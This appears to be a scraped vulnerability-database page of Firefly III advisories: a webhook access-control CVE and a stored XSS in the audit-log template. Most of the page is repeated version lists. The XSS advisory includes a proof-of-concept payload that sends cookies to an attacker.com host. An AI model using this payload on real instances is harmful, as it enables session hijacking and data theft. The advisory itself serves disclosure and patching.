            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 14, 2026

v6.4.18 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 08, 2026

v6.4.17 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


